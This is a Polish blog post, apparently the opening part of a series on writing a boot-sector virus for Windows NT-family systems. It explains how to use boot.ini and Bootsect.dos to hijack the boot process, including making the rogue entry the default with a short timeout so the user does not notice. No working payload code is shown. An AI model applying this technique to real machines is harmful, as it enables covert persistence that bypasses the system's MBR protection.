Systemy Windows z rodziny NT bootują bezpośrednio. W prawdzie istnieją takie pliki jak autoexec.bat, czy config.sys, ale nie są wykorzystywane. Pojęcia nie mam czy cokolwiek robią w systemie nowszym niż Windows Me. Z poziomu systemu windows uruchomienie aplikacji piszącej do sektora na dysku (dowolnego) powoduje monit o zagrożeniu. Ostrzeżenie systemu można zignorować, jednak zapis do dysku nie specjalnie się uda. MBR jest przecież pod specjalną ochroną OS. W takim razie wydaje się, że nie bardzo istnieje możliwość zautomatycznego uszkodzenia MBR. Istnieją jednak całe 3 możliwości:
  • stworzenie aplikacji podobnej do scandisk
  • zarejestrowana usługa systemowa w Windows (mamy dostęp do wszystkiego w systemie)
  • napisanie bootsectora i edycja pliku boot.ini
Pierwszy punkt brzmi tak mało profesjonalnie w opisie. Wiele się na tej opcji w swoich poszukiwaniach nie skupiałem. Chodzi coś o natywne usługi. Są to twory, które mają dostęp do wszelkich zasobów komputera na najwyższym poziomie, do tego uruchamiają się zanim system cokolwiek zablokuje. Absolutnie nie są to aplikacje DOSowe, jak się niekiedy można doczytać w różnych miejscach.

Drugi punkt wymaga od nas zainstalowania programu jako usługi. Na własnym komputerze nie ma problemu, ale co z infekcją? Wyrzucimy na ekran monit: "czy chcesz zainstalować naszego wirusa?"?. No nie wygląda to zbyt fajnie.

Trzecia opcja polega na oszukaniu mechanizmu bootowania systemów z rodziny NT. Proces bootowania Windows z rodziny NT jest dość ciekawy i co ważne pozwala na wybór wśród wielu systemów. Bootloader od Redmont potrafi bootować nawet systemy z rodziny *nix (podobno, bo nie sprawdzałem nigdy). Proces jego działania polega jednak na wczytaniu opcji z pliku boot.ini. Tutaj mamy pole do popisu. Plik ten zawiera informacje o tym gdzie szukać bootloaderów dla konkretnych systemów zainstalowanych na maszynie. Posiada też opcje konfiguracyjne, jak domyślny system, albo czas na wybór. Daleko temu do Lilo, czy GRUB'a, które mogą mieć dowolne tło, ale zawsze lepszy rydz niż nic. Słabość tego systemu polega na tym, że plik ten można po prostu zedytować i dodając 2 linijki i zmieniając jedną uprzykrzyć użytkownikowi życie. Można też korzystając z materiałów w sieci stworzyć własny bootloader dorównujący projektom opensource i podmienić go dla Windows. Wiedząc jak powinien być zbudowany MBR możemy to zrobić poprawnie i na dodatek oszukać windows, aby myślał, że to jego własny twór.

Plik boot.ini pozwala na dodanie opcji bootowania dla systemu z rodziny "dosowatych", dla przykładu Win98. Aby to uczynić dodajemy linijkę:
c:\="Windows 98"

Tyle już wystarczy. Mamy opcję wyboru dla systemu Windows 98, którego na maszynie z resztą nie ma. To oczywiście nieistotne. Gdy opcja ta zostaje wybrana do pamięci zostaje załadowany Bootsector dla tego systemu i przekazane do niego sterowanie. Bootsector jest ładowany z pliku Bootsect.dos i tam właśnie musi znaleźć się nasz własny bootloader. Nie trudno się domyśleć, że zamiast starać się na siłę pisać do MBR wystarczy nam napisać do tego pliku kod.

Jako mroczni i źli haxiorzy chcemy, aby ten kod został w najbliższej możliwej chwili uruchomiony, więc tą opcję trzeba ustawić jako domyślną, a czas oczekiwania na decyzję zmniejszyć na tyle, aby użytkownik się nie połapał. Zainteresowani znajdą jak to zrobić w konfiguracji systemu Windows. Nie wydaje się, aby była potrzeba to opisywać. Ten art ma posłużyć edukacji, a nie szkoleniu lepiej rozgarniętych dzieciaczków pragnących zniszczyć świat, albo przynajmniej komputer tatusia.

Na koniec wstępu warto podać jakie są założenia i ograniczenia. Kod, który chcę stworzyć ma być wirusem, który nie specjalnie ma cokolwiek niszczyć. Poza MBR w którym się zadomowi nie uszkodzi nic, a jego głównym celem po uruchomieniu komputera może być na przykład zrobienie matrixa na ekranie przez wyświetlenie zawartości pamięci, która jak wiemy pusta nie jest. Ograniczenia przy pisaniu takiego kodu wyglądają następująco:
  • mały rozmiar: tylko 510B do dyspozycji, 2 ostatnie Bajty zarezerwowane, razem 512B
  • tylko przerwania BIOS - w końcu nie ma OS z którego można skorzystać
  • kod jest umieszczany pod adresem 0000:7C00, wszystkie wskaźniki muszą tam wskazywać aby się nie pogubić
Może warto jeszcze wspomnieć o pewnej drobnostce. Kod, który piszę, ale też te którymi się posiłkuję, musi zostać skompilowany i sprawdzony. W tym celu potrzebne nam:
  • kompilator ASM - NASM
  • maszyna do testów - Maszyna VirtualBox
  • System z rodziny WinNT - Windows XP Professional (dokładnie to XPLite, ale to bez znaczenia)
Ta konfiguracja pozwala na testy niezależnie od tego czy na co dzień pracujemy pod Win, czy *nix. Bardzo ważne jest, aby użyć NASM. Osobiście zawsze preferowałem TASM'a, jednak przy tym projekcie natknąłem się na kilka problemów, które mocno mnie zniechęciły. Nawet próbowałem przez chwilę korzystać z MASM, ale ten też się nie sprawdził. Nawet kod z samym NOP z góry na dół sypie Errorami. W dalszej części, albo pewnie na początku następnego arta od razu wyjaśnię co zdyskwalifikowało TASM'a. Przyda się jednak do tego przykład kodu, którego tutaj nawet nie chce mi się jeszcze przytaczać.

Jak widać jest to dość ekstremalne programowanie. Jeśli pomyśleć, że ASCII Art rozmiaru 80x25 ma 2000B, to niestety musimy o tym zapomnieć (chyba, że zapiszemy go na dysku w znanym sobie sektorze i wczytamy go gdzieś i wyświetlimy).

Tyle tytułem wstępu i tytułem wyjaśnień. W kolejnych (kolejnej?) częściach pojawi się już konkretny kod i odnośniki do źródeł, gdzie można znaleźć potrzebne informacje. Proszę o cierpliwość. Zadanie na prawdę proste nie jest, szczególnie że jestem zadeklarowanym programistą wysokopoziomowym.

Obraz pochodzi z Pointer Rulez.

Zobacz też: